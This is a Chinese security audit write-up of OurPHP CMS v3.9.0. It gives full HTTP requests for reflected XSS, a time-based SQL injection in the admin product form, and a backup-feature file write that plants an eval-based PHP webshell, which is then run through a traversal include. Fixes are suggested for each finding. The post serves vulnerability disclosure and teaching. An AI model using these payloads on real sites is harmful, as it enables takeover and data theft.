OurPHPCMS审计浅析
2023-5-29 10:10:0 Author: xz.aliyun.com(查看原文) 阅读量:28 收藏

闲来无事看看,经过耐心的跟进与分析,发现了一处很有意思的利用点,与师傅们一起分享一下。

环境搭建

gitee上下载,ourphp企业+商城+小程序万能多国语言建站系统: ourphp企业+商城+小程序万能多国语言建站系统 (gitee.com),也可在官网下载。

可以在后台看到版本是v3.9.0(20211202),将zip解压一下,然后安装。

此CMS在诸多地方采用了自己设计的极为严格的敏感词防护,具有一定效果,但仍存在一点漏洞。鉴于此CMS没有严格采用MVC架构,先尝试用Seay扫一下敏感操作点。

前台审计

前台的主要成果是直接扫出几处反射型XSS,没有实际意义,随便看看就好,前面所述的有意思的漏洞在后台。

wap

先看wap目录下的敏感操作点,在/client/wap/ourphp_password.class.php中可能有XSS。

可以看到一个关键参数是$temptype,不过在ourphpcms/client/wap/ourphp_template.class.php中没有直接定义,

试着访问了一下/client/wap/ourphp_page.class.php,发现这几个class文件是无法直接访问的,需要通过index.php或search.php中的include才能访问。

两条线索结合一下,结合字符串查找,不难找出$temptype的赋值在ourphpcms/client/wap/ourphp_system.class.php之中,可以通过$ourphp_weburl = explode('-',$_SERVER["QUERY_STRING"]);这一行进行赋值。

XSS

分析

这里的这个$ourphp_weburl是关键点,后面的几个变量都与其有关,

这里的$temptype控制为userpassword.html,与

这行静态检查的结果对应。接下来跟进到ourphp_template.class.php

下方有个switch,

这里是唯一可以正常访问到ourphp_password.class.php的点,跟进这个文件。

这之中有很多变量赋值,不过对我们实际上没有影响,直接向下走,

进入到这里的判断,可以看到有直接输出。这个CMS的防护机制的思路是涉及到敏感操作时再调用相关函数进行防护,这里显然是没有在意。

payload

GET /client/wap/?user=telcode&jsoncallback=%3Cscript%3Ealert(1)%3B%3C%2Fscript%3E-userpassword.html HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSION=kcais6rfp5ouj448jrrnouql94; PHPSESSID=bjbqt41a1gcls71rf8q81i3lq3; XDEBUG_SESSION=PHPSTORM
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1

以弹窗检验效果。

修复

/client/wap/ourphp_password.class.php中的echo $_GET['jsoncallback'] . "(".json_encode($msg).")";加上htmlspecialchars()即可。

其它

这里的几处XFF是渲染到模板里的,没进数据库,应该效果不大。

这里的这个变量覆盖作用也有限,可能需要深入研究,暂且不表。

web

这里有个include,但是后缀名受限制,只能是php,这就要求我们上传php文件,这样的话这个文件包含点就有些鸡肋了,不如直接找文件上传漏洞。

user

XSS1

分析

类似的user里也有可能的XSS漏洞,在/client/user/ourphp_password.class.php中,

同样找到该行,

/client/user/ourphp_page.class.php这几个class文件是无法直接访问的,需要通过index.php、search.php或其它文件中的include才能访问。

两条线索结合一下,结合字符串查找,不难找出合适的对/client/user/ourphp_page.class.php文件包含在client/user/ourphp_template.class.php之中,

这里的switch在上面,

影响的变量是$temptype,这个变量的赋值可以通过$ourphp_weburl = explode('-',$_SERVER["QUERY_STRING"]);这一行进行赋值。

另外再设计好$_GET['jsoncallback']为JS语句即可。payload如下,

GET /client/user/index.php?user=telcode&jsoncallback=%3Cscript%3Ealert(1)%3B%3C%2Fscript%3E-password.html HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSION=kcais6rfp5ouj448jrrnouql94; PHPSESSID=bjbqt41a1gcls71rf8q81i3lq3; introducer_userid=1; XDEBUG_SESSION=PHPSTORM
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1

此处效果为弹窗。

修复

/client/user/ourphp_password.class.php中的echo $_GET['jsoncallback'] . "(".json_encode($msg).")";加上htmlspecialchars()即可。

XSS2

分析

/client/user/ourphp_userreg.class.php中,也有处XSS漏洞。

这里看起来是两处,实际上只要进入其中一个if就会触发其中的exit,所以只能触发一个。

/client/user/ourphp_userreg.class.php有检查不能直接访问,

全局搜索一下这个文件名,

可以看到是在/client/user/ourphp_template.class.php中的一个case里被include,接下来要找如何触发这个case。

这里的switch在上面,

影响的变量是$temptype,这个变量的赋值可以通过$ourphp_weburl = explode('-',$_SERVER["QUERY_STRING"]);这一行进行赋值。

另外再设计好$_GET['jsoncallback']为JS语句即可。构造的数据包如下,

GET /client/user/index.php?reg=1&code=2&jsoncallback=%3Cscript%3Ealert(1)%3B%3C%2Fscript%3E-reg.html HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSION=kcais6rfp5ouj448jrrnouql94; PHPSESSID=bjbqt41a1gcls71rf8q81i3lq3; introducer_userid=1; XDEBUG_SESSION=PHPSTORM
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1

不过遇到一个问题,

由于此次测试时已经登录,所以这里的session的相关值可能不为空,就会退出。解决方法有二:一是设置这里要求的$_GET['introducer']值,二是索性删掉HTTP包里的cookie字段(仅删除掉其中的introducer_userid=1;是无效的)。

此处额外添加了参数,即可实现弹窗效果。

修复

/client/user/ourphp_userreg.class.php中的echo $_GET['jsoncallback'] . "(".json_encode($msg).")";加上htmlspecialchars()即可。

后台审计

SQL注入

分析

Seay扫出了这个,

与之类似的还有/client/manage/ourphp_productedit.php

大体看一下可以发现二者的代码逻辑基本一致,审计其一即可。下面开始对/client/manage/ourphp_product.php的审计,这是一个后台文件,需要管理员权限才能访问,

一开始可以看到一个大的if-elseif,这里我们肯定是要进入elseif ($_GET["ourphp_cms"] == "add")这个分支的,这个分支才有更多的逻辑操作。

进入这个分支之后,第一个if,即if ($OP_Class[0] == 0)可以不管,跟踪一下可以发现其中的$ourphp_adminfont是写死的。

继续向下走,

可以看到很多地方都是调用了admin_sql进行防护的,

这个防护过滤的关键词很多,不好绕,继续向下审计,不难发现,在到达$sql = $db -> create("update ourphp_productspecifications set OP_Value = if(OP_Value like '%".$cc[$i]."%',OP_Value,CONCAT(OP_Value,'|".$cc[$i]."')) where id = ".$id,2);这一行之前的数据库操作都有admin_sql或者intval这样的防护,并不好利用。

接下来是这一行,也是关键点之一,

这里的关键变量是$optitleid,向上追溯可以看到其来源是$_POST["optitleid"]这个数组,

浏览器中访问/client/manage/ourphp_product.php

可以看到是一个添加商品的页面,随意写点信息提交并抓包,

添加optitleid参数,

经动态调试发现了一个问题,

这里还需要POST传一个op参数,否则optitleid将被置空,后面就失去作用了。

于是在原来的正常的数据包后加上&optitleid[]=1'&optitleid[]=2'&op[]=1&op[]=2&op[]=3,再发包。

此时即可顺利抵达$sql = $db -> create("update ourphp_productspecifications set OP_Value = if(OP_Value like '%".$cc[$i]."%',OP_Value,CONCAT(OP_Value,'|".$cc[$i]."')) where id = ".$id,2);

这里的$id参数没有被单引号保护住,所以是注入的关键,此时我们可以看到$id1',这里由于是两层循环,所以这里的$db->create()可能会执行多次,

跟进create函数,可以看到单引号被成功逃逸,当然这里实际上不需要这个单引号,直接写sleep(5)这样的时间注入或者根据回显来布尔注入即可(这里不会回显报错,所以无法报错注入;update语句也没法联合注入,盲注是个好的选择)。

漏洞是存在的,但是实际上这个点没法利用,比如我们传optitleid[]='&optitleid[]=(if(ascii(substr((select%20database()),1,1))>1,sleep(5),0))%23&op[]=1&op[]=2&op[]=3这样的payload,

这里有一处$aa = explode(",",$optitleid);,会将前面的$optitleid = implode(',',$_POST["optitleid"]);得到的结果拆分开,形成多个数组,我们的一整句payload会被拆散,效果如下,

这样的话,无论是布尔盲注还是延时注入的payload都会被拆开,实际上无法执行。

继续审计client/manage/ourphp_product.php的下半部分,可以看到有一个超长的行,

$query = $db -> insert("`ourphp_product`","`OP_Class` = '".$OP_Class[0]."',`OP_Lang` = '".$OP_Class[1]."',`OP_Title` = '".admin_sql($_POST["OP_Title"])."',`OP_Number` = '".admin_sql($_POST["OP_Number"])."',`OP_Goodsno` = '".admin_sql($_POST["OP_Goodsno"])."',`OP_Brand` = '".admin_sql($_POST["OP_Brand"])."',`OP_Market` = '".admin_sql($_POST["OP_Market"])."',`OP_Webmarket` = '".admin_sql($_POST["OP_Webmarket"])."',`OP_Stock` = '".admin_sql($_POST["OP_Stock"])."',`OP_Usermoney` = '".$OP_Usermoney."',`OP_Specificationsid` = '".$optitleid."',`OP_Specificationstitle` = '".$optitle."',`OP_Specifications` = '".$OP_Specifications."',`OP_Pattribute` = '".$OP_Pattribute."',`OP_Minimg` = '".$OP_Minimg."',`OP_Maximg` = '".$OP_Maximg."',`OP_Img` = '".$OP_Img."',`OP_Content` = '".admin_sql($_POST["OP_Content"])."',`OP_Down` = '2',`OP_Weight` = '".intval($_POST["OP_Weight"])."',`OP_Freight` = '".intval($_POST["OP_Freight"])."',`OP_Tag` = '".$wordtag."',`OP_Sorting` = '".admin_sql($_POST["OP_Sorting"])."',`OP_Attribute` = '".$OP_Attribute."',`OP_Url` = '".admin_sql($_POST["OP_Url"])."',`OP_Description` = '".compress_html($OP_Description)."',`time` = '".admin_sql($_POST["time"])."',`OP_Integral` = '".admin_sql($_POST["OP_Integral"])."',`OP_Integralok` = '".admin_sql($_POST["OP_Integralok"])."',`OP_Integralexchange` = '".admin_sql($_POST["OP_Integralexchange"])."',`OP_Suggest` = '".admin_sql($_POST["OP_Suggest"])."',`OP_Productimgname` = '".admin_sql($OP_Productimgname)."',`OP_Usermoneyclass` = '".intval($_POST['OP_Usermoneyclass'])."',`OP_Tuanset` = '".intval($_POST['OP_Tuanset'])."',`OP_Tuanusernum` = '".intval($_POST['OP_Tuanusernum'])."',`OP_Tuantime` = '".admin_sql($_POST['OP_Tuantime'])."',`OP_Couponset` = '".admin_sql($_POST['OP_Couponset'])."',`OP_Buyoffnum` = '".intval($_POST['OP_Buyoffnum'])."'","");

大部分的点都有admin_sql或者intval防护,不过由其中的

`OP_Specificationsid` = '".$optitleid."'

这部分可以看出,这里是没有严格防护的,单引号的防护可以被绕过,加上如下的payload,

optitleid[]='&optitleid[]=`OP_Specificationstitle`=(if(ascii(substr((select%20database()),1,1))>1,sleep(5),0))%23&op[]=1&op[]=2&op[]=3

调试分析一下,先看看刚才的create部分,

sleep(5)在这里被拆分出来,

所以这里就会有一次延时,继续向后走,跟进$db -> insert,查看其最终拼接成的sql语句,

此处成功注入,可以实现延时的效果(第二次延时),

从测试结果中可以看到,在删除了Cookie中的XDEBUG_SESSION=PHPSTORM停止调试之后,延时达到了15秒,类似的也写出脚本进行信息获取,不过要注意写脚本时的判断条件应为2倍时延。

最终数据包如下。

POST /client/manage/ourphp_product.php?ourphp_cms=add HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 897
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/client/manage/ourphp_product.php
Cookie: PHPSESSION=kcais6rfp5ouj448jrrnouql94; PHPSESSID=bjbqt41a1gcls71rf8q81i3lq3; introducer_userid=1; XDEBUG_SESSION=PHPSTORM
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

OP_Class=11%7Ccn&OP_Title=111&OP_Minimg=&OP_Maximg=&OP_Number=OP20230115094805&OP_Goodsno=OP20230115094805&OP_Market=0.00&OP_Webmarket=0.00&OP_Usermoneyclass=1&OP_Userj%5B%5D=1&OP_Userj%5B%5D=0.00&OP_Userj%5B%5D=%7C&OP_Userj%5B%5D=2&OP_Userj%5B%5D=0.00&OP_Userj%5B%5D=%7C&OP_Userj%5B%5D=3&OP_Userj%5B%5D=0.00&OP_Userj%5B%5D=%7C&OP_Userj%5B%5D=4&OP_Userj%5B%5D=0.00&OP_Userj%5B%5D=%7C&OP_Userj%5B%5D=5&OP_Userj%5B%5D=0.00&OP_Userj%5B%5D=%7C&OP_Brand=0&OP_Stock=100&select=0&OP_Weight=1&OP_Freight=1&OP_Sorting=99&OP_Url=&OP_Tag=&OP_Description=&OP_Integral=0.00&OP_Integralok=0&OP_Integralexchange=0.00&OP_Tuanset=1&OP_Tuanusernum=0&OP_Tuantime=&OP_Couponset=0&OP_Buyoffnum=0&OP_Suggest=&time=2023-01-15+09%3A48%3A05&OP_Content=&OP_Img=&submit=%E6%8F%90+%E4%BA%A4&optitleid[]='&optitleid[]=`OP_Specificationstitle`=(if(ascii(substr((select%20database()),1,1))>1,sleep(5),0))%23&op[]=1&op[]=2&op[]=3

修复

$optitle改为admin_sql($optitle)

SQL注入2(失败)

这里的SQL注入闭合掉了`,但受限于无法执行多语句,所以没能成功,将数据包与最终的效果直接贴出,感兴趣的师傅可以自行分析一下。

POST /client/manage/ourphp_bakgo.php?&framename=main HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 494
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/client/manage/ourphp_bakgo.php?&framename=main
Cookie: PHPSESSION=kcais6rfp5ouj448jrrnouql94; PHPSESSID=bjbqt41a1gcls71rf8q81i3lq3; introducer_userid=1; XDEBUG_SESSION=PHPSTORM
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: frame
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

faisunsql_postvars=AAkDW0kSCARQXxpeQFhfA0ZdRQlUClJdREQNCA8IBAdaQA9WCENWVzsNV0tGGwkVCAsPQ10MVlRcDlkSQRMPRFsCBFsQBVBqERZdSlxYXwMQCUZbBVkXR18JQkMOQg4GUAkXBVA%2BQlQXFk9XQF0QXUEIAVsTEVpaREQNEg8IDhUFUWoFUA9TWAFHA0sIDwhEXUdHEVkTFw5DXAdSDxNZThJCWT5EBEBGDQpWGglKCFAIEABPBk0HAxJdSw%3D%3Deedd6c4b1d&fsqltable%5Bourphp_ad%5D=2636%2C73&fsqltable%5Bourphp_admin%5D=2272%2C224&tabledumping=0&action=databackup&back_type=partsave&dosubmit=%E4%B8%8B%E4%B8%80%E6%AD%A5&dir=../../function/backup/2023011511&page=1
SHOW CREATE TABLE `ourphp_ad`;select/**/sleep(5);#ourphp_admin`

后台写文件getshell

此处漏洞是我在本次审计过程中发现的比较有意思的点,本来没以为这是一处漏洞,但是经过耐心跟随与绕过,最终理清了利用思路:备份数据库文件配合文件包含getshell。

写文件

Seay扫描的相关结果如下,

实际上,这里一看有点像假的点,毕竟Seay的作用主要是发现敏感操作点而已,像这种写文件/包含文件的点大都是误报。不过本CMS中,这样的点实际上并不多,好奇心驱使着我继续探索,经过深入研究发现,经过二者的组合,这里的漏洞点是可以发挥效果的,先看fwrite($fp,$data);

/client/manage/ourphp_bakgo.php中的writefile函数如下,

function writefile($data,$method='w'){
    global $fsqlzip,$_POST;;
    $file = "{$_POST[filename]}_pg{$_POST[page]}.php";
    $fp=fopen("$_POST[dir]/$file","$method");
    flock($fp,2);
    fwrite($fp,$data);
}

可以看到这里有比较明显的写文件操作,而且是写文件名可控的PHP文件,向上追溯调用了writefile的点,

有两处,第二处的参数$data是写死的,不好利用,第一处在dealdata函数中,

function dealdata($data){
    global $current_size,$tablearr,$writefile_data,$_POST;;
    $current_size += strlen($data);
    $writefile_data .= $data;
    if($current_size>=intval($_POST["filesize"])*1024){
        $current_size=0;
        $writefile_data .= "\r\n?".">";

        writefile($writefile_data,"w");

        $_POST[page]=intval($_POST[page])+1;

        fheader();
        echo tablestart("正在从数据库'$_POST[db_dbname]'中导出数据……","98%");
        ...
            exit();
    }
}

继续向上跟进dealdata函数,共有4处,都在sqldumptable函数中,其中好用的是第一处,

function sqldumptable($table,$tableid,$part=0) {
    if($part) global $lastcreate_temp,$current_size,$_POST,$db,$ourphp;

    //structure
    if($tableid >= intval($_POST[nextcreate]) or $part==0){
        @$query = $db -> create("SET SQL_QUOTE_SHOW_CREATE = 1",2);
        $query = $db -> create("SHOW CREATE TABLE `$table`",2);
        $row = $db -> whilego($query);
        $sql = str_replace("\n","\\n",str_replace("\"","\\\"",$row[1]));
        $sql = preg_replace("/^(CREATE\s+TABLE\s+`$table`)/mis","",$sql);
        $dumpstring = "create(\"$table\",\"$sql\");\r\n\r\n";
        $_POST[nextcreate]++;
        dealdata($dumpstring);
    }
    ...

继续向上跟进sqldumptable函数,在/client/manage/ourphp_bakgo.php中只有如下这一处调用,

可以看到,这里的两个关键变量为:$_POST[tabledumping]$tablearr$_POST[tabledumping]为直接可控的,$tablearr向上追溯可以发现来自$_POST[fsqltable],实际上也是可控的。

后台访问http://127.0.0.1/client/manage/ourphp_bakgo.php,可以看到这个页面的功能是备份数据表。

点击页面最下方的”下一步“并抓包,可以看到有一个POST参数:fsqltable,这是一个数组,其键名为这个页面中展示的诸如ourphp_admin这样的表名,最终会在代码中转为$tablearr参数并传入sqldumptable函数。

有了这些信息,我们再回过头来看sqldumptable函数,

这里的$table变量经拼接后传入dealdata函数,

做了一些拼接后,将字符串写入文件,写文件/function/backup/2023011517/index_pg1.php(备份文件名)的效果如下,

可以看到这里除了有在sqldumptable函数中看到的create()函数,还有一些不可控的前缀和后缀,后缀是"\r\n?".">"这样的字符串,不用太关注,重点需要关注前缀if(!defined('VERSION')){echo "<meta http-equiv=refresh content='0;URL=index.php'>";exit;},这起到了很好的限制作用,就算我们写入了shell,直接访问shell时也会因为没有定义VERSION这个常量而exit,导致无法利用webshell。

文件包含

想要破解这个问题,就要找到一个文件,其中定义了VERSION这个常量,并且能够利用include来进行文件包含,经过搜索,client/manage/ourphp_bakgo.php可以间接满足条件,

这里的$data参数是引导文件的内容,其中有define("VERSION","'.VERSION.'");来定义了VERSION这个常量,

$data中也有一处可控的文件包含点,接下来$data被写入文件,这个文件名也可控。

$data被写入的这个文件,就是破题的关键,有了它,就能将我们写入的webshell真正的用起来。

接下来我们需要获得一个这样的辅助文件,先进行正常的备份请求,

得到如下页面,

这里需要设置一个数据导入密码,在访问导入功能的页面时需要输入这个密码,

接下来就是一个提示,

查看文件,

可以看到已经具备了我们需要的两个关键点:define("VERSION","1.1");include("index_pg$_POST[loadpage].php");,此时可以利用webshell。

写webshell

正式利用之前,还需要解决一个问题,受限于写文件的点,我们写入的webshell的格式是这样的。

在调用我们的eval()之前,必定会调用create函数,若是直接访问webshell,则可能会因不存在create函数而报一个warning,但我们是通过起到备份数据表功能的文件function/backup/2023011522/index.php来调用的这个webshell,而这个起到备份数据表功能的文件中是定义了create函数的。

function query($sql){
    global $_POST,$db;
    if(!$db -> create($sql,2)){
        echo "<BR><BR><font color=red>MySQL语句错误!您可能发现了程序的BUG!<a href=\"http://www.ourphp.net\" target=\"_blank\">请报告开发者。</a>
                    <BR>版本:V1.1<BR>语句:<XMP>$sql</XMP>错误信息: ".$db -> error()." </font>" ;
        if(trim($_POST[db_temptable])) query("DROP TABLE IF EXISTS `$_POST[db_temptable]`;");
        exit;
    }
}
function create($table,$sql){
    global $_POST,$db;
    if(!trim($_POST[db_temptable])){
        do{
            $_POST[db_temptable]="_ourphp_sql".rand(100,10000);
        }while(@$db -> create("select * from `$_POST[db_temptable]`",2));
    }
    query("CREATE TABLE `$_POST[db_temptable]` $sql");
    if(!$_POST[db_safttemptable]) query("DROP TABLE IF EXISTS `$table`;");
}

这里有个<font color=red>非常致命</font>的点,就是query函数中的exit,如果触发了exit,整个程序就会退出,我们的webshell仍然失效。分析一下代码逻辑,可以看到create中调用了queryquery中如果$db -> create($sql,2)false,即$db -> create($sql,2)执行失败,则会触发exit

为了不触发exit,我们要秉持如下的原则:1、尽量少的执行SQL语句,多一次执行就多一次犯错的机会;2、尽量保证SQL语句在语法上是正确的。为了尽量少的执行SQL语句,在访问function/backup/2023011522/index.php进行调用webshell时,我们可以让$_POST[db_temptable]$_POST[db_safttemptable]不为空,不过关键点还是要让query中的$db -> create($sql,2)执行成功,而query($sql)中的$sql

("CREATE TABLE `$_POST[db_temptable]` $sql")

实际上这之中的$sql是我们写文件可控的,

所以我们可以令$_POST[db_temptable]为一个表名,同时令create的第一个参数为一个表名且第二个参数($sql)为(Id_P int)以拼接成一句完整的SQL语句。

调用webshell的干扰解决了,我们将正常的向/client/manage/ourphp_bakgo.php的备份请求的数据包进行更改,得到写入webshell的第一代payload如下,

POST /client/manage/ourphp_bakgo.php?&framename=main HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 499
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/client/manage/ourphp_bakgo.php?&framename=main
Cookie: PHPSESSION=kcais6rfp5ouj448jrrnouql94; PHPSESSID=bjbqt41a1gcls71rf8q81i3lq3; introducer_userid=1; XDEBUG_SESSION=PHPSTORM
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: frame
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

faisunsql_postvars=WQIFCx1LDFAAWEFWRgMPU0MOQV9VWVQLQRQNCAwPBwgDSwkGXBpSA2sKDENAQFlFDVgLFVxfUAJZXlkSQhQMSwIJAgtEXFQ%2BQREGQloDD1MVWkINBAoREVpZQkMNRQ0JCQIRVQRnRgBHERRfRgZADURbBQ0SQlwMQRQNEgwPDRpcWmxVBFZXDFFAWEMOVFgUWBRDR1hAEVhGDAdSDBRaQUtJX24QXUQSXQ0NEg8RWAANQwQZBx4BVRcNSw%3D%3Deedd6c4b1d&fsqltable%5Bourphp_ad`%23","(Id_P int)");eval($_POST{cmd});%23%5D=2272%2C224&tabledumping=0&action=databackup&back_type=partsave&dosubmit=%E4%B8%8B%E4%B8%80%E6%AD%A5&dir=../../function/backup/202301151194&page=1

其中,

faisunsql_postvars=WQIFCx1LDFAAWEFWRgMPU0MOQV9VWVQLQRQNCAwPBwgDSwkGXBpSA2sKDENAQFlFDVgLFVxfUAJZXlkSQhQMSwIJAgtEXFQ%2BQREGQloDD1MVWkINBAoREVpZQkMNRQ0JCQIRVQRnRgBHERRfRgZADURbBQ0SQlwMQRQNEgwPDRpcWmxVBFZXDFFAWEMOVFgUWBRDR1hAEVhGDAdSDBRaQUtJX24QXUQSXQ0NEg8RWAANQwQZBx4BVRcNSw%3D%3Deedd6c4b1d

这一段算是管理员的口令,是自动生成的,我们保持住即可,不用特别关注;

fsqltable%5Bourphp_ad`","(Id_P int)");eval($_POST{cmd});%23%5D=2272%2C224

这一段是核心,就是表名,在上面的小节的分析中我们可以看到这里将被写入php文件,这里有一点小细节,就是fsqltable%5B%5D解码后实是fsqltable[],就是说POST中的fsqltable变量是个数组,为了避免与fsqltable[]的括号碰撞,我在$_POST{cmd}没有使用[],而是使用的{}(当然这个细节也可能是多此一举)。

正片开始,跟踪分析一下,

由于传了action=databackup这样的参数,会进入这个分支,

接下来进入if($_POST[back_type]=="partsave")这一部分 ,

继续向下走,会有创建目录的操作,

这个无需关注,继续向下会有一个小拦路虎,

这里会检查$_POST[dir]这个目录,如果其中已经有备份文件,则会报错,就无法执行后面的代码了,所以我们要控制$_POST[dir]为一个未使用过的目录名,如这里的dir=../../function/backup/202301151194就是在正常生成的文件名../../function/backup/2023011511之后多加了94这两个字符。

继续跟进,

这里拼接了前面提到的if(!defined('VERSION')){echo "<meta http-equiv=refresh content='0;URL=index.php'>";exit;}这个校验,并将我们的参数

fsqltable%5Bourphp_ad`","(Id_P int)");eval($_POST{cmd});%23%5D=2272%2C224

传入sqldumptable函数,继续跟进,

一个小插曲是,这里虽然有$db->create(),也就是ourphp中的数据库操作,而且$table变量也是完全可控的,但是这里并不便于SQL注入,原因如下,

跟进可以看到,这里调用的是mysqli_query,只能执行单语句,就算闭合了这个反引号,也无法注入第二句,再加上这里完全没有回显,得考虑时间盲注,但SHOW CREATE TABLE这样的语句也不便于盲注,所以就不再关注这个SQL查询,重点关注代码执行,跟进dealdata($dumpstring);

继续跟进writefile($writefile_data,"w");

不难看出,此时的$data可控,$file = "{$_POST[filename]}_pg{$_POST[page]}.php"也是可控的,路径$_POST[dir]也可控,最终写文件的效果如下,

可以看到,此时的webshell已经被顺利写入,#也注释掉了后面的干扰字符,它成了一个可以利用的webshell,接下来要做的就是调用它。

调用webshell

上面提到,为了不触发exit,我们要秉持如下的原则:1、尽量少的执行SQL语句,多一次执行就多一次犯错的机会;2、尽量保证SQL语句在语法上是正确的。为了尽量少的执行SQL语句,在访问function/backup/2023011522/index.php进行调用webshell时,我们可以让$_POST[db_temptable]$_POST[db_safttemptable]不为空,

先访问给我们的这个备份文件的链接,

输入密码,发送并抓包改包,修改为如下的payload,

POST /function/backup/2023011522/index.php?&framename=main HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 159
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/function/backup/2023011517/index.php?&framename=main
Cookie: PHPSESSION=kcais6rfp5ouj448jrrnouql94; PHPSESSID=bjbqt41a1gcls71rf8q81i3lq3; introducer_userid=1; XDEBUG_SESSION=PHPSTORM
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: frame
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

db_pass=1&nextpgtimeout=2&db_safttemptable=1&action=%E5%AF%BC%E5%85%A5&loadpage=/../../202301151194/_pg1&cmd=print_r(scandir("../../"));&db_temptable=ourphp_ad

这里的db_temptable=ourphp_ad和webshell中的ourphp_ad是表名,尽量保持一致就可以(原因在下面讲到),应该可以换成别的,不是关注点。

接下来调试,先来到文件包含点,

这里虽然有个前缀index_pg,但是可以用/../../绕过,

接下来跟进create函数,

可以看到此时的完整的sql语句是个正常的语句,跟进这里的query函数,

可以看到这里的返回值是true,

也就避开了这个exit,接下来回到create($table,$sql)

接下来!$_POST[db_safttemptable]是false,就不会执行后面的sql语句了,不过$table是我们可控的,这里就算执行应该也问题不大,不是重点不再深究。

接下来即可看到结果,

不过由于这里创建了ourphp_ad这个表,下一次再访问这个webshell时还会再执行一次

CREATE TABLE `ourphp_ad` (Id_P int)

这样的话会报错,

不过我们控制了db_temptable=ourphp_ad和webshell中的表名ourphp_ad是一致的,这样一来的话,偶数次访问时就会再把ourphp_ad这个表给DROP,所以奇数次可以用,偶数次不能用,觉得麻烦可以直接用这个webshell再另写一个webshell即可。

修复

修复有如下几个思路,

1、破坏掉对写入的webshell 的调用:在include("index_pg$_POST[loadpage].php");之前去除掉$_POST[loadpage]中的../

2、阻止写入webshell,在sqldumptable函数中做防护,

function sqldumptable($table,$tableid,$part=0) {
    if($part) global $lastcreate_temp,$current_size,$_POST,$db,$ourphp;

    //structure
    if($tableid >= intval($_POST[nextcreate]) or $part==0){
        @$query = $db -> create("SET SQL_QUOTE_SHOW_CREATE = 1",2);
        $query = $db -> create("SHOW CREATE TABLE `$table`",2);
        $row = $db -> whilego($query);
        $sql = str_replace("\n","\\n",str_replace("\"","\\\"",$row[1]));
        $sql = preg_replace("/^(CREATE\s+TABLE\s+`$table`)/mis","",$sql);
        $dumpstring = "create(\"$table\",\"$sql\");\r\n\r\n";
        $_POST[nextcreate]++;
        dealdata($dumpstring);
    }
    ...

